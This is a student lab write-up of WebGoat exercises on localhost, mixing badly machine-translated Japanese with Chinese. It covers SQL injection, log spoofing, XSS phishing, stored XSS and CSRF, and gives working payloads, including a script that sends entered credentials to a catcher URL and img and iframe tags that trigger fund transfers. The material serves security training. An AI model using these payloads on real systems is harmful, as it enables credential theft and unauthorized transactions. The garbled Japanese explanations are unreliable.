Exp9 Webセキュリティインフラストラクチャ
まず、練習内容
1.インストールJDK、Webgoat
2. SQLインジェクション攻撃
-
デジタル型インプラント(数値SQLインジェクション)
-
欺くログ(ログスプーフィング)
-
文字列の注入(文字列SQLインジェクション)
-
LAB:ステージ1のSQLインジェクション:インジェクション文字列(ステージ1:文字列のSQLインジェクション)
3. XSS攻撃
-
使用XSS釣り(XSSとフィッシング)
-
ストレージタイプのXSS攻撃(ストアドXSS攻撃)
4. CSRF攻撃
-
CSRF(クロスサイトリクエストフォージェリ(CSRF))
-
バイパスCSRF確認(CSRFプロンプトバイパス)
第二に、基本的な問題
1. SQLインジェクション攻撃守るためにどのように原則、
原理:ユーザー名が入力、パスワード入力ボックスボード特殊文字、引用符は文字列のSQL文のスプライシングプロセスに対処する上でクロージャを達成するために、決して本当にスタイルを使用してコメントセクションのSQL文は、表示用のログイン情報を達成するために。
防衛:入力特殊文字の種類や長さなどの、入力を制限する、など
2. XSSを守るためにどのように、原則を攻撃
原理:XSSは頻繁に攻撃者が悪用する可能性があり、悪意のあるWebユーザコードを許可するコンピュータのセキュリティ上の脆弱性(例えば、HTMLコードとクライアント側スクリプト)ユーザーが使用する他のページに提供するために注入してWebアプリケーションを表示されていますXSSは、バイパスアクセス制御を脆弱性。
防衛:JSP収集機能、厳格な検証の内容、所定のフォーマット。
3. CSRF攻撃の原則、どのように守るために
原則:また、「oneclickattack」またはsessionriding、多くの場合、CSRFまたはXSRFと略記、として知られているCSRF CSRFは、信頼できるユーザーからの要求を偽装することによって信頼できるサイトを活用するために、ウェブサイトの悪質な使用です。これは、Webブラウザに依存し、攻撃エージェントの上に混乱です。
防衛は:ブラウザセッションのクリーンアップクッキーの終わりには、フォームに秘密情報を含む、利用者は、クッキー外と確認コードを指定します。
第三に、実践記録
(A)取付JDK、Webgoat
- GithubのインストールパッケージのダウンロードWebgoat
- ローカルコピーに、コマンドを使用 するJava -jar WebGoat-、コンテナ7.0。。1 -war-exec.jar 実行Webgoat
- あなたが見たとき ProtocolHandler [スタート「HTTP-バイオ8080 」 ]この後、メッセージは、その後の実験を開始します。
- ブラウザに入力します。 HTTP:// localhostを:8080 / WebGoat オープンWebGoatのログイン画面を、ログインするためのログイン名とパスワードの下を使用します(ユーザー、パスワード利用可能)
- 実用的なコースは、ログインが成功した後、左側に見ることができます
(B)SQLインジェクション攻撃
1.デジタル型インプラント(数値SQLインジェクション)
原理:駅分野における射出機能文字は、新しいSQL文にまとめることができます。 SELECT * FROM weather_data WHERE局= [ステーション]
目標:SQLインジェクション文字列の道を経由して、すべての気象データを確認するために、すべての情報を表示するには。
ステップ:ドロップダウンボックス、フォームの右のフレームを選択し選択するための 要素(Q)を点検し 、ソースコードを変更し、その後、。オプションで 値 値の後に、コードを追加 または1 = 1 式は永久的な真のスタイルになるように、。
- * WHEREステーションSELECT = weather_data FROM 101または1 = 1 。後者のタイプは決して真であるために、それは、文を実行します
SELECT * FROM weather_data
あなたはすべての情報を確認することができ、。
2.ログ欺く(ログインスプーフィング)
原理:この攻撃では、攻撃者がログにその足跡をクリアするには、この方法を使用することができ、ログファイルに、人間の目を欺くことです。
目標:灰色の領域は、Webサーバーのログに記録されたコンテンツを表します。私たちの目的は、ログにユーザ名である「管理者」のユーザー「の成功ログイン」を使用することです。など、私たちの攻撃をアップグレードします。ログファイルにスクリプトを挿入します。
ステップ:このレッスンでは、ユーザーの入力にユーザー名を受け入れ、ログファイルに追加します。テキストボックスにユーザー名を入力します。 ログインが成功したWebGoat のためのユーザ名admin 、その次のユーザー名情報がむしろ新しい行よりも、同じ行に表示されます。
- したがって、アプリケーションにキャリッジ(0D%)とラインフィード(%の0A)を注入することができます。ユーザ名を記入 WebGoat%の0D%0aLoginは、成功のためのユーザ名:ADMINが 、これコースを修了します。
3.文字列の注入(文字列のSQLインジェクション)
原則:次のクエリに基づいて、独自のSQLインジェクションの文字列を構築します。
LAST_NAME = USER_DATA SELECT * FROM " ?"
目標:次の表は、ユーザーが自分のクレジットカード番号を表示することができます。すべてのクレジットカード情報によるSQLインジェクションの試みが表示されます。ユーザー名が「スミス」で試してみてください。
ステップ:スミスの通常の検索結果の情報すべき唯一の従業員
- :分析は
''
、入力事前に閉鎖し、[挿入式は実際にコンテンツそれに戻ってコメントしたことがない スミス" -または= 1. 1。 現在のコースを完了すること。注入が成功したら、あなたはすべての従業員についての情報を確認することができます。
4.ステージ1:インジェクション文字列(ステージ1:文字列のSQLインジェクション)
目标:使用 SQL 注入绕过认证
步骤:在密码框右键选择 inspect Element 审查网页元素对长度进行修改,否则要注入的 永真式长度 大于 最大长度 ,将会注入失败。
以用户Neville登录,还是以永真式的形式输入密码 Smith' or 1=1 -- :
攻击成功,得到所有人员列表:
(二)XSS攻击
1. 使用 XSS 钓鱼(Phishing with XSS)
原理:如果有权限操作页面源代码,那么HTML文档的内容是可以被篡改的。
目标:创建一个form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
步骤:
-
利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,需要结合起来使用:
-
受害人填写一个表格
-
以读取脚本的形式,将收集到的信息发送给攻击者
-
-
一个带用户名和密码输入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
-
搜索这段代码,就能看到页面中增加了一个表单:
- 下面这段脚本语言的代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
-
将以上两段代码合并,搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们:
2. 存储型XSS攻击(Stored XSS Attacks)
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
步骤:在title中任意输入字符,留言板中输入 <script>alert("20165234");</script> ,即可攻击成功。
(三)CSRF攻击
1. 跨站请求伪造(Cross Site Request Forgery (CSRF))
原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。
目的:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的 URL 指向一个恶意请求。尝试一个包括 1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。您可以通过左侧菜单在CSRF课程连接上右键单击,选择复制快捷方式。无论谁收到这封邮件,并恰好已经通过身份验证,他的资金将会被转走。
注意:不同 WebGoat 环境的URL中“Screen ”和“Menu”参数可能会有所区别。请使用当前访问 URL 中正在使用的参数。
步骤:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。
- 在message框中输入代码 <img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>
- 右侧可见:Screen=325&menu=900
- 提交后,消息显示转走用户4000元,实现CSRF攻击。
2. 绕过 CSRF 确认(CSRF Prompt By‐Pass)
在message中写入以下两行攻击代码
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
- 构造CSRF攻击,包括了两个请求,转账请求和确认转账成功请求,传递两个参数给服务器
- transferFunds=5000,transferFunds=CONFIRM
- 实现CSRF攻击。
四、实验中遇到的问题及解决方案
安装webgoat时碰到登录成功后却无法显示教程
解决方法:原因是jdk与webgoat版本不匹配,或者是jdk未安装。具体教程见实践过程记录的第一个步骤。
五、实验总结
- 本次实验整体还比较顺利的。在webgoat网页左侧的各种课程中,可以根据它给的solution和hints来具体学习原理与方法,并根据它所写的步骤来进行实验。在并未注入成功时,有红字去提示原因,而成功也会有提示。
- 此次实验通过对多个SQL注入和XSS攻击,CSRF攻击的课程学习,我接触到了更多的不同实际情况下的各种对web的攻击,也在这个实践的过程中感受了很多现实情况下对漏洞的侵害。我们作为用户,在很多情况下,一旦在来历不明的连接中输入用户名和密码就,就会被截获密码信息等,十分危险。各种攻击方法复杂繁多,防御方法也很多,但是在一些比较薄弱的网站,就很容易被攻击成功。因此提高防范意识对我们而言十分重要,我们应当深入学习原理,从根源上防御攻击。